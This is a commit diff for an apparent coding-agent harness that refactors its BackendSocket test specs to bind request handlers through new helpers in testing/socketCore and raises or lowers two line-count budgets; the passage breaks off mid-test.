The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.
TypeScript 3d-modelingagent-frameworkagent-harnessai-agentscadclaude-codecodexcoding-agentsdeveloper-toolsesp32game-developmentmcp-servermulti-agentopen-hardwareopencodeopenharnesspcbroboticsterminaltmux
The socket's core requests move into the core modules that own them (#805)
Dee94e4f10c59b6
diff --git a/cli/src/agentHandoff.fork.integration.spec.ts b/cli/src/agentHandoff.fork.integration.spec.tsindex eecc52bbd..ed1611dbd 100644--- a/cli/src/agentHandoff.fork.integration.spec.ts+++ b/cli/src/agentHandoff.fork.integration.spec.ts@@ -2,7 +2,7 @@// - the fork record as cli.ts builds it at `agent_fork` → registry.openPendingAgent (normalizer) → the stopped// copy (StoppedAgentStore save/get, through strictPersistedRow) → lib/agentHandoff.ts inheritance;// - lib/agentHandoff.ts's transcript gate and lookup wired to the real registry.validTranscriptPath and-// sessionRepair.findResumedTranscript, as cli.ts wires them (`backend.handoffProvider`);+// sessionRepair.findResumedTranscript, as cli.ts wires them (`backend.handoffRequestProvider`);// - lib/handoffDiscovery.ts (through cli.ts's `handoffProviderDeps`) over the real sessionRepair searches: Claude only// by its per-process record, never a folder scan; ownership checked against the real stopped store, failing closed.// The unit specs pin each side with fakes; this one pins that the pieces agree.diff --git a/cli/src/agentHandoff.wire.spec.ts b/cli/src/agentHandoff.wire.spec.tsindex f6a78ecc3..6072cde07 100644--- a/cli/src/agentHandoff.wire.spec.ts+++ b/cli/src/agentHandoff.wire.spec.ts@@ -11,6 +11,7 @@ import { join } from 'node:path'import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { bindHandoffRequest } from './testing/socketCore.js'import { prepareAgentHandoff, type HandoffDeps } from './lib/agentHandoff.js'import { CommanderMirror } from './lib/commander.js'import { handoffProviderDeps, type HandoffWiring } from './lib/handoffDiscovery.js'@@ -89,7 +90,7 @@ function wire(sessions: RegisteredSession[], over: Partial<HandoffDeps> = {}, favalidTranscriptPath: (_engine, path) => existsSync(path),...fakes,})- socket.handoffProvider = (req) => prepareAgentHandoff({ ...deps, ...over }, req)+ bindHandoffRequest(socket, (req) => prepareAgentHandoff({ ...deps, ...over }, req))}const ask = (requestId: string, agentId: string, changeId = CHANGE): void =>diff --git a/cli/src/architecture.spec.ts b/cli/src/architecture.spec.tsindex 1cf81df6f..0c799032e 100644--- a/cli/src/architecture.spec.ts+++ b/cli/src/architecture.spec.ts@@ -60,9 +60,13 @@ function runForegroundLines(): number {* The most each may grow to: its size when it last shrank, and a little room for wiring. Lower a budget* when you move code out; raising one needs a reason a reviewer agrees with, and the usual one is wrong:* the code belongs in a module or a service.+ *+ * RUN_FOREGROUND_BUDGET went up from 2,572 on 5 October, when the socket's request cases moved into core+ * modules: binding each of them is the wiring this function is for. backendSocket.ts lost 615 lines in+ * those moves, and runForeground gained 28.*/-const RUN_FOREGROUND_BUDGET = 2_572-const BACKEND_SOCKET_BUDGET = 2_975+const RUN_FOREGROUND_BUDGET = 2_600+const BACKEND_SOCKET_BUDGET = 2_370/** Exceptions, each with its reason. Keep this short. */const SERVICE_MAY_IMPORT: Record<string, string> = {diff --git a/cli/src/backendSocket.agentHandoff.spec.ts b/cli/src/backendSocket.agentHandoff.spec.tsindex 26cb10579..a82620689 100644--- a/cli/src/backendSocket.agentHandoff.spec.ts+++ b/cli/src/backendSocket.agentHandoff.spec.ts@@ -4,6 +4,7 @@// in cli.ts) does the work.import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { bindHandoffRequest } from './testing/socketCore.js'import { env } from './config/env.js'import * as logModule from './lib/log.js'import { encryptDownFrame, encryptDownFrameFor, encryptRpcResult } from './lib/e2ee/applicationFrames.js'@@ -34,7 +35,7 @@ describe('agent_handoff_prepare on the local socket', () => {frames = []socket.registerLocalClient('local:w', { sendFrame: (frame) => { frames.push(frame as Frame); return true }, sendBinary: () => true })provider = vi.fn(async () => OK)- socket.handoffProvider = provider+ bindHandoffRequest(socket, provider)})afterEach(async () => {await socket.unregisterLocalClient('local:w')@@ -94,7 +95,7 @@ describe('agent_handoff_prepare on the local socket', () => {})it('answers UNSUPPORTED when no provider is wired', async () => {- socket.handoffProvider = null+ bindHandoffRequest(socket, null)ask(good())expect(await answered()).toEqual([{ requestId: 'r-1', error: 'UNSUPPORTED' }])})@@ -135,7 +136,7 @@ describe('agent_handoff_prepare on the local socket', () => {it('answers INTERNAL, logging no message, when the provider throws before returning a promise', async () => {const log = vi.spyOn(console, 'error').mockImplementation(() => {})- socket.handoffProvider = () => { throw new Error('sync /secret/path') }+ bindHandoffRequest(socket, () => { throw new Error('sync /secret/path') })ask(good())expect(await answered()).toEqual([{ requestId: 'r-1', error: 'INTERNAL' }])expect(JSON.stringify(log.mock.calls)).not.toContain('secret')@@ -153,7 +154,7 @@ describe('agent_handoff_prepare on the local socket', () => {['changeId before targetEngine', { changeId: 'X', targetEngine: 'nope' }, 'BAD_CHANGE_ID'],['targetEngine before the provider check', { targetEngine: 'nope' }, 'BAD_ENGINE'],])('validates %s', async (_name, over, error) => {- socket.handoffProvider = null+ bindHandoffRequest(socket, null)ask(good(over))expect(await answered()).toEqual([{ requestId: 'r-1', error }])})@@ -162,7 +163,7 @@ describe('agent_handoff_prepare on the local socket', () => {const held = deferred<Result>()provider.mockReturnValue(held.promise)ask(good())- socket.recentProvider = () => []+ socket.agentRecentProvider = () => ({ agentId: 'a1', events: [], asks: [] })socket.handleLocalFrame('local:w', { type: 'agent_recent', payload: { requestId: 'fast', agentId: 'a1' } })await vi.waitFor(() => expect(frames.some((f) => f.type === 'agent_recent_result')).toBe(true))expect(replies()).toHaveLength(0)@@ -191,7 +192,7 @@ describe('agent_handoff_prepare through the relay', () => {beforeEach(() => {socket = new BackendSocket('token')provider = vi.fn(async () => OK)- socket.handoffProvider = provider+ bindHandoffRequest(socket, provider)vi.spyOn(internals().e2ee, 'hasSession').mockReturnValue(true)vi.spyOn(internals().e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_handoff_prepare', payload: good() })})@@ -275,7 +276,7 @@ describe('agent_handoff_prepare after the client went away', () => {const replied = vi.spyOn(socket as any, 'emitReply')const held = deferred<Result>()const provider = vi.fn(() => held.promise)- socket.handoffProvider = provider+ bindHandoffRequest(socket, provider)try {socket.handleLocalFrame('local:w', { type: 'agent_handoff_prepare', payload: good() })// The request must be in flight before the client leaves, or there is no late reply to test.diff --git a/cli/src/backendSocket.cappedHistory.spec.ts b/cli/src/backendSocket.cappedHistory.spec.tsindex 1953ce290..1fb693857 100644--- a/cli/src/backendSocket.cappedHistory.spec.ts+++ b/cli/src/backendSocket.cappedHistory.spec.ts@@ -28,7 +28,7 @@ vi.mock('./lib/transcriptTail.js', async (importOriginal) => {import { BackendSocket } from './backendSocket.js'import { registry } from './lib/registry.js'-import { bindHistory } from './testing/socketHistory.js'+import { bindHistory } from './testing/socketCore.js'afterAll(() => rmSync(roots.base, { recursive: true, force: true }))diff --git a/cli/src/backendSocket.dsh.spec.ts b/cli/src/backendSocket.dsh.spec.tsindex 59a5c01e8..de67c52dc 100644--- a/cli/src/backendSocket.dsh.spec.ts+++ b/cli/src/backendSocket.dsh.spec.ts@@ -6,6 +6,7 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from './backendSocket.js'+import { bindLaunchRequests } from './testing/socketCore.js'import { env } from './config/env.js'import { emptyPorts } from './core/api.js'import { createServiceHost } from './core/serviceHost.js'@@ -37,6 +38,7 @@ describe('the DSH requests on the local socket', () => {env.DSH_DIR = join(root, 'dsh')invalidateInstalledDsh()socket = new BackendSocket('token')+ bindLaunchRequests(socket)frames = []socket.registerLocalClient('local:store', { sendFrame: (frame) => { frames.push(frame as (typeof frames)[number]); return true }, sendBinary: () => true })mutate = vi.fn(async () => ({ ok: true as const, id: 'acme/thing' }))diff --git a/cli/src/backendSocket.gate.spec.ts b/cli/src/backendSocket.gate.spec.tsindex 6d0037e5d..7e5d5530d 100644--- a/cli/src/backendSocket.gate.spec.ts+++ b/cli/src/backendSocket.gate.spec.ts@@ -1,5 +1,6 @@import { describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { bindCancelRequest } from './testing/socketCore.js'/** The request gate: a daemon that is still starting answers nothing, and then everything, in order. */describe('BackendSocket request gate', () => {@@ -13,7 +14,7 @@ describe('BackendSocket request gate', () => {it('answers at once when nothing holds it — the way every socket but the daemon\'s is built', async () => {const socket = new BackendSocket('fixture')const cancelled: string[] = []- socket.onCancel = (target) => cancelled.push(target)+ bindCancelRequest(socket, (target) => { cancelled.push(target) })client(socket, 'local:open')socket.handleLocalFrame('local:open', { type: 'cancel', payload: { agentId: 'a1' } })await settle()@@ -30,7 +31,7 @@ describe('BackendSocket request gate', () => {socket.handleLocalFrame('local:held', { type: 'cancel', payload: { agentId: 'a2' } })await settle()// Wired only now, as start-up would: the held requests meet the handler, not its absence.- socket.onCancel = (target) => cancelled.push(target)+ bindCancelRequest(socket, (target) => { cancelled.push(target) })expect(cancelled).toEqual([])socket.openRequests()socket.openRequests()@@ -47,7 +48,7 @@ describe('BackendSocket request gate', () => {const socket = new BackendSocket('fixture')socket.holdRequests()const cancelled: string[] = []- socket.onCancel = (target) => cancelled.push(target)+ bindCancelRequest(socket, (target) => { cancelled.push(target) })client(socket, 'local:flood')client(socket, 'local:calm')for (let i = 0; i < 300; i++) socket.handleLocalFrame('local:flood', { type: 'cancel', payload: { agentId: `f${i}` } })diff --git a/cli/src/backendSocket.history.spec.ts b/cli/src/backendSocket.history.spec.tsindex 94f4e8aa5..cf84c6198 100644--- a/cli/src/backendSocket.history.spec.ts+++ b/cli/src/backendSocket.history.spec.ts@@ -7,7 +7,7 @@ import { messagesToEvents, subagentStatsFromRawLines, windowRawLines } from './limport { registry } from './lib/registry.js'import { stoppedAgents } from './lib/stoppedAgents.js'import { tailFile } from './lib/transcriptTail.js'-import { bindHistory } from './testing/socketHistory.js'+import { bindHistory } from './testing/socketCore.js'import { cl, claude, claudeScenario, codexScenario } from './testing/transcriptScenarios.js'// Transcripts are only served from the engines' own folders. Those default to this computer's realdiff --git a/cli/src/backendSocket.models.spec.ts b/cli/src/backendSocket.models.spec.tsindex 8c8c95e41..b91202320 100644--- a/cli/src/backendSocket.models.spec.ts+++ b/cli/src/backendSocket.models.spec.ts@@ -3,6 +3,7 @@ import { mkdtempSync, readFileSync, readdirSync, rmSync } from 'node:fs'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from './backendSocket.js'+import { bindLaunchRequests } from './testing/socketCore.js'import { env } from './config/env.js'import { resolveNewAgentModel } from './lib/newAgentModel.js'@@ -17,6 +18,7 @@ beforeEach(() => {previous = env.ADAPTER_DATA_DIRenv.ADAPTER_DATA_DIR = rootsocket = new BackendSocket('token')+ bindLaunchRequests(socket)frames = []socket.registerLocalClient('local:models', { sendFrame: frame => { frames.push(frame as typeof frames[number]); return true }, sendBinary: () => true })socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TEST_STOP' }))diff --git a/cli/src/backendSocket.spec.ts b/cli/src/backendSocket.spec.tsindex e60cc6978..d9895b845 100644--- a/cli/src/backendSocket.spec.ts+++ b/cli/src/backendSocket.spec.ts@@ -5,8 +5,11 @@ import { readFileSync, mkdirSync, mkdtempSync, writeFileSync, rmSync } from 'fs'import { homedir, tmpdir } from 'os'import { join } from 'path'import { fileURLToPath } from 'url'-import { AGENT_OPENED_THROTTLE_MS, BackendSocket, deviceAgentListItem, deviceAgentRow } from './backendSocket.js'+import { BackendSocket } from './backendSocket.js'+import { AGENT_OPENED_THROTTLE_MS } from './core/agents/update.js'+import { deviceAgentListItem, deviceAgentRow } from './core/agents/list.js'import { grokHistoryPage } from './core/transcripts/history.js'+import { bindAgentList, bindAgentUpdate, bindCancelRequest, bindLaunchRequests, bindCloseRequests, bindMessageRequest, bindPurgeRequest, bindQuestionResponse, bindStopRequest, bindTerminalRequests } from './testing/socketCore.js'import { emptyPorts, MODELS_FALLBACKS } from './core/api.js'import { createServiceHost, ServiceUnavailableError } from './core/serviceHost.js'import { MODELS_REQUESTS, startModels } from './services/models.js'@@ -40,13 +43,14 @@ describe('safe session close RPC', () => {it('seals cleanup previews and passes the open-tab condition to Close', async () => {const socket = new BackendSocket('fixture'), frames: any[] = []socket.registerLocalClient('local:cleanup', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })- socket.cleanupPreview = vi.fn(async () => ({ version: 1, agents: [], kept: 2 }))+ const cleanupPreview = vi.fn(async () => ({ version: 1, agents: [], kept: 2 }))+ bindCloseRequests(socket, cleanupPreview)const request = vi.fn(async () => ({ error: 'SESSION_IN_TAB' }))socket.closeAgentService = { request, dispose() {} } as unknown as CloseAgentServiceexpect(encryptDownFrame('agents_cleanup_preview')).toBe(true)expect(encryptRpcResult('agents_cleanup_preview_result')).toBe(true)await (socket as any).dispatchDown({ type: 'agents_cleanup_preview', payload: { requestId: 'unsealed' } }, 'remote')- expect(socket.cleanupPreview).not.toHaveBeenCalled()+ expect(cleanupPreview).not.toHaveBeenCalled()socket.handleLocalFrame('local:cleanup', { type: 'agents_cleanup_preview', payload: { requestId: 'preview' } })const target = { agentId: 'a', sessionId: 's', createdAt: '2026-10-01T00:00:00.000Z', mode: 'now', onlyIfHidden: true }socket.handleLocalFrame('local:cleanup', { type: 'agent_close', payload: { ...target, requestId: 'close' } })@@ -81,6 +85,7 @@ describe('safe session close RPC', () => {socket.closeAgentService = new CloseAgentService({registry, activity: async () => activity, checkpoint, stop, changed: () => {},})+ bindCloseRequests(socket)const terminals = new TerminalStreamManager({terminals: {openStream: async () => ({ state: 'succeeded', value: {@@ -126,11 +131,13 @@ describe('safe session close RPC', () => {it('requires encrypted remote frames and never blocks unrelated inventory while saving', async () => {const socket = new BackendSocket('fixture')+ bindAgentList(socket)const frames: any[] = []socket.registerLocalClient('local:close', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })let finish!: (value: { closed: true }) => voidconst request = vi.fn(() => new Promise<{ closed: true }>(resolve => { finish = resolve }))socket.closeAgentService = { request, dispose() {} } as unknown as CloseAgentService+ bindCloseRequests(socket)const payload = { requestId: 'closing', agentId: 'fixture', sessionId: 'history', createdAt: '2026-09-30T12:00:00.000Z', mode: 'idle' }expect(encryptDownFrame('agent_close')).toBe(true)expect(encryptRpcResult('agent_close_result')).toBe(true)@@ -178,6 +185,7 @@ describe('reviewed permanent deletion RPCs', () => {socket.registerLocalClient('local:purge', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })const request = vi.fn(async () => ({ reviewId: 'review', sessionBytes: 4096 }))socket.purgeAgentService = { busy: () => false, request, worktreeRequest: request } as unknown as PurgeAgentService+ bindPurgeRequest(socket)const payload = { requestId: 'delete', agentId: 'selected', sessionId: 'history', createdAt: 1234, mode: 'inspect' }expect(encryptDownFrame(type)).toBe(true)expect(encryptRpcResult(type + '_result')).toBe(true)@@ -216,6 +224,7 @@ describe('local model lifecycle RPCs', () => {afterEach(() => vi.restoreAllMocks())it('a slow catalog never blocks terminal or agent inventory, and errors stay redacted', async () => {const socket = new BackendSocket('fixture')+ bindAgentList(socket)socket.setHarnessGridName('home')serveModels(socket)const frames: any[] = []@@ -252,9 +261,9 @@ describe('confirmed harness pause replies', () => {const socket = new BackendSocket('fixture')const frames: any[] = []socket.registerLocalClient('local:pause', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })- if (state !== 'unsupported') socket.onDeleteAgent = async () => {+ if (state !== 'unsupported') bindStopRequest(socket, async () => {if (state === 'unconfirmed') throw new AgentStopError('The process could not be verified.')- }+ })await (socket as any).dispatchDown({ type: 'agent_delete', payload: { requestId: 'pause', agentId: 'fixture' } }, 'local:pause')const reply = frames.find(frame => frame.type === 'agent_delete_result')?.payloadexpect(reply).toMatchObject(state === 'confirmed' ? { deleted: true } : {@@ -283,6 +292,7 @@ describe('agent_update opened: one "last used" for every app', () => {vi.useFakeTimers({ toFake: ['Date'] })vi.setSystemTime(OPENED)socket = new BackendSocket('fixture')+ bindAgentUpdate(socket)frames = []socket.registerLocalClient('local:opened', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })agentId = registry.openPendingAgent({ engine: 'claude', runtimes: [{ backend: 'tmux', paneId: '%7301' }], cwd: '/tmp/opened' })!.agentId@@ -901,8 +911,8 @@ describe('BackendSocket outbound queue', () => {it('answers a request whose service is unavailable SERVICE_UNAVAILABLE, retryable, and goes on', async () => {const socket = new BackendSocket('token')- // A slot that reaches a service through its port, whose fallback is to fail (core/serviceHost.ts).- socket.hostThemeSink = () => { throw new ServiceUnavailableError('models', new Error('disk I/O error')) }+ // A request whose work reaches a service through its port, whose fallback is to fail (core/serviceHost.ts).+ bindTerminalRequests(socket, { applyTheme: () => { throw new ServiceUnavailableError('models', new Error('disk I/O error')) } })const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:app', { sendFrame: (frame) => { frames.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })@@ -914,6 +924,7 @@ describe('BackendSocket outbound queue', () => {it('answers terminal_info, which the terminal streams pass over, and leaves every other terminal frame to them', async () => {const socket = new BackendSocket('token')+ bindTerminalRequests(socket)// As in the daemon: a stream manager that takes its own frames and passes over the rest.const handleFrame = vi.fn(async (_connId: string, type: string) => type !== 'terminal_info' && type !== 'terminal_unknown')socket.setTerminalStreamManager({ handleFrame, closeConnection: vi.fn(async () => {}), stop: vi.fn(async () => {}) } as unknown as TerminalStreamManager)@@ -1008,6 +1019,8 @@ describe('BackendSocket outbound queue', () => {// A pane's folder, pid and tty, and the router's restatement of a spoken task, used to go to every// web client in the clear. Every client that holds a session opens a sealed payload of any type.const socket = new BackendSocket('token')+ // `terminal_info` is the core's (core/terminals/requests.ts), bound here as the daemon binds it.+ bindTerminalRequests(socket)socket.connect()const ws = wsMock.instances[0]ws.open()@@ -1065,7 +1078,7 @@ describe('BackendSocket outbound queue', () => {it('hands theme_set to the host-theme sink and acknowledges it to the requester', async () => {const socket = new BackendSocket('token')const received: unknown[] = []- socket.hostThemeSink = (theme) => received.push(theme)+ bindTerminalRequests(socket, { applyTheme: (theme) => { received.push(theme) } })socket.connect()const ws = wsMock.instances[0]ws.open()@@ -1326,6 +1339,7 @@ describe('BackendSocket outbound queue', () => {vi.spyOn(registry, 'advertised').mockReturnValue([session])vi.spyOn(registry, 'terminalAvailable').mockReturnValue(true)const socket = new BackendSocket('token')+ bindAgentList(socket)socket.connect()const ws = wsMock.instances[0]ws.open()@@ -1578,6 +1592,7 @@ describe('BackendSocket outbound queue', () => {it('does not let a slow engines_probe block agent_create on the same connection', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:create', {sendFrame: (frame) => { frames.push(frame); return true },@@ -1614,6 +1629,7 @@ describe('BackendSocket outbound queue', () => {it('opens a harness on a conversation Harness did not start, and refuses what a resume cannot take', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:resume', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -1649,6 +1665,7 @@ describe('BackendSocket outbound queue', () => {it('creates with approvals bypassed unless the client turns that off', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:bypass', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -1691,6 +1708,7 @@ describe('BackendSocket outbound queue', () => {it('creates a terminal with no folder at home, and refuses it a grid or a project to prepare', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:terminal', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -1728,6 +1746,7 @@ describe('BackendSocket outbound queue', () => {it('recovers a delayed creation on the same connection without starting another agent', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:receipt', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -1789,6 +1808,7 @@ describe('BackendSocket outbound queue', () => {it('explains invalid repository choices without echoing credentials or preparing a folder', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:invalid-project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })const prepare = vi.spyOn(projectFolder, 'prepareProjectFolder')@@ -1818,6 +1838,7 @@ describe('BackendSocket outbound queue', () => {{ projectSource: 'branch', gitSource: '/remote/repo', branchRef: 'refs/heads/feature' },])('prepares $projectSource once under its creation receipt and retains its folder after a refused launch', async (project) => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })let finish!: (folder: string) => void@@ -1861,6 +1882,7 @@ describe('BackendSocket outbound queue', () => {])('records Claude trust for $name: $trusts', async ({ project, sourceTrusted, trusts }) => {// Only a folder the daemon made empty, or a worktree of a repo already trusted, is trusted for the person.const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:trust', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })vi.spyOn(projectFolder, 'prepareProjectFolder').mockResolvedValue('/work/prepared')@@ -1893,6 +1915,7 @@ describe('BackendSocket outbound queue', () => {for (const item of contents) writeFileSync(join(dir, item), 'x')vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)const socket = new BackendSocket('token')+ bindLaunchRequests(socket)socket.registerLocalClient('local:cwd-trust', { sendFrame: () => true, sendBinary: () => true })vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))@@ -1917,6 +1940,7 @@ describe('BackendSocket outbound queue', () => {mkdirSync(dir)vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const internals = socket as unknown as {e2ee: { unwrapDown: (connId: string, frame: unknown) => unknown }dispatchDown: (frame: unknown, connId: string, transport: string) => Promise<void>@@ -1939,6 +1963,7 @@ describe('BackendSocket outbound queue', () => {it('checks an unknown creation without spawning and rejects malformed creation ids before launch', async () => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:missing-receipt', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -1972,6 +1997,7 @@ describe('BackendSocket outbound queue', () => {['REGISTRATION_FAILED', 'unconfirmed'],])('does not relaunch a recorded %s outcome', async (error, state) => {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:refusal', {sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,@@ -2302,6 +2328,7 @@ describe('agent_fork RPC', () => {function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:fork', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })return { socket, frames }@@ -2449,6 +2476,8 @@ describe('agent_restart RPC', () => {function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {const socket = new BackendSocket('token')+ bindLaunchRequests(socket)+ bindAgentList(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:restart', {sendFrame: (frame) => { frames.push(frame); return true },@@ -2480,7 +2509,7 @@ describe('agent_restart RPC', () => {vi.spyOn(registry, 'list').mockReturnValue([BASE_SESSION])vi.spyOn(stoppedAgents, 'available').mockReturnValue([{ ...BASE_SESSION, agentId: 'stopped' }])socket.harnessResourcesReader = vi.fn(async () => ({ sampledAt: new Date().toISOString(), agents: [{ agentId: 'agent-1', memoryBytes: 123, cpuPercent: 2, processCount: 1 }] }))- socket.monitorActivityProvider = sessionId => sessionId === BASE_SESSION.sessionId ? 'needsInput' : 'idle'+ bindAgentList(socket, { monitorActivityProvider: sessionId => sessionId === BASE_SESSION.sessionId ? 'needsInput' : 'idle' })for (const [requestId, monitor] of [['plain', false], ['monitor', true]] as const) {socket.handleLocalFrame('local:restart', { type: 'agents_list', payload: { requestId, monitor, includeStopped: true } })}@@ -2496,7 +2525,7 @@ describe('agent_restart RPC', () => {it('rejects a stop when the reviewed conversation rotated before the command arrived', async () => {const { socket, frames } = localSocket()const stop = vi.fn(async () => {})- socket.onDeleteAgent = stop+ bindStopRequest(socket, stop)vi.spyOn(registry, 'byAgent').mockReturnValue({ ...BASE_SESSION, sessionId: 'replacement' })socket.handleLocalFrame('local:restart', { type: 'agent_delete', payload: {requestId: 'stale-stop', agentId: BASE_SESSION.agentId, expectedSessionId: BASE_SESSION.sessionId,@@ -2512,7 +2541,7 @@ describe('agent_restart RPC', () => {const { socket, frames } = localSocket()const creationId = `resume-${randomUUID()}`const handler = vi.fn(async () => ({ ok: true as const, session: BASE_SESSION, resumed: true }))- socket.onResumeAgent = handler+ bindLaunchRequests(socket, { resume: handler })vi.spyOn(registry, 'byAgent').mockReturnValue(BASE_SESSION)for (const requestId of ['first', 'again']) {socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId, agentId: 'agent-1', creationId } })@@ -2527,7 +2556,7 @@ describe('agent_restart RPC', () => {const { socket, frames } = localSocket()const creationId = `resume-mode-${randomUUID()}`const handler = vi.fn(async () => ({ ok: true as const, session: { ...BASE_SESSION, permissionMode: 'auto' }, resumed: true }))- socket.onResumeAgent = handler+ bindLaunchRequests(socket, { resume: handler })vi.spyOn(registry, 'byAgent').mockReturnValue(BASE_SESSION)for (const [requestId, permissionMode] of [['first', 'auto'], ['again', 'auto'], ['changed', 'ask']]) {socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId, agentId: 'agent-1', creationId, permissionMode } })@@ -2540,10 +2569,11 @@ describe('agent_restart RPC', () => {it.each([7, '', 'allow', { auto: true }])('refuses invalid resume permission payload %j', async permissionMode => {const { socket, frames } = localSocket()- socket.onResumeAgent = vi.fn()+ const resume = vi.fn()+ bindLaunchRequests(socket, { resume })socket.handleLocalFrame('local:restart', { type: 'agent_resume', payload: { requestId: 'bad-mode', agentId: 'agent-1', permissionMode } })await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_resume_result', payload: { requestId: 'bad-mode', error: 'INVALID_PERMISSION_MODE' } }))- expect(socket.onResumeAgent).not.toHaveBeenCalled()+ expect(resume).not.toHaveBeenCalled()await socket.unregisterLocalClient('local:restart'); await socket.stop()})@@ -2570,10 +2600,10 @@ describe('agent_restart RPC', () => {it('delegates to onRestartAgent and replies with the agent projection and the resumed flag on success', async () => {const { socket, frames } = localSocket()let seenAgentId: string | undefined- socket.onRestartAgent = async (agentId) => {+ bindLaunchRequests(socket, { restart: async (agentId) => {seenAgentId = agentIdreturn { ok: true, session: BASE_SESSION, resumed: true }- }+ } })socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })await vi.waitFor(() => {const result = frames.find((f) => f.type === 'agent_restart_result')@@ -2593,7 +2623,7 @@ describe('agent_restart RPC', () => {it('reports a fresh (non-resumed) relaunch through the same resumed flag', async () => {const { socket, frames } = localSocket()- socket.onRestartAgent = async () => ({ ok: true, session: BASE_SESSION, resumed: false })+ bindLaunchRequests(socket, { restart: async () => ({ ok: true, session: BASE_SESSION, resumed: false }) })socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })await vi.waitFor(() => {const result = frames.find((f) => f.type === 'agent_restart_result')@@ -2605,9 +2635,9 @@ describe('agent_restart RPC', () => {it('replies with error+detail on failure, matching agent_create/agent_delete\'s reply shape', async () => {const { socket, frames } = localSocket()- socket.onRestartAgent = async () => (+ bindLaunchRequests(socket, { restart: async () => ({ ok: false, error: 'RESTART_FAILED', detail: 'claude did not come back up after restart' }- )+ ) })socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId: 'r1', agentId: 'agent-1' } })await vi.waitFor(() => expect(frames).toContainEqual({type: 'agent_restart_result',@@ -2625,7 +2655,7 @@ describe('agent_restart RPC', () => {await new Promise<void>((resolve) => { finish = resolve })return { ok: true as const, session: BASE_SESSION, resumed: false }})- socket.onRestartAgent = handler+ bindLaunchRequests(socket, { restart: handler })vi.spyOn(registry, 'byAgent').mockImplementation((id) => id === BASE_SESSION.agentId ? BASE_SESSION : undefined)const request = (requestId: string, type = 'agent_restart') => socket.handleLocalFrame('local:restart', { type, payload: { requestId, agentId: 'agent-1', creationId } })const response = (id: string) => frames.find((frame) => (frame.payload as { requestId?: string }).requestId === id)?.payload@@ -2649,7 +2679,7 @@ describe('agent_restart RPC', () => {const { socket, frames } = localSocket()const creationId = `restart-receipt-${error}`const handler = vi.fn(async () => ({ ok: false as const, error, detail: 'fixture refusal' }))- socket.onRestartAgent = handler+ bindLaunchRequests(socket, { restart: handler })for (const requestId of ['first', 'again']) {socket.handleLocalFrame('local:restart', { type: 'agent_restart', payload: { requestId, agentId: 'agent-1', creationId } })await vi.waitFor(() => expect(frames.find((frame) => (frame.payload as { requestId?: string 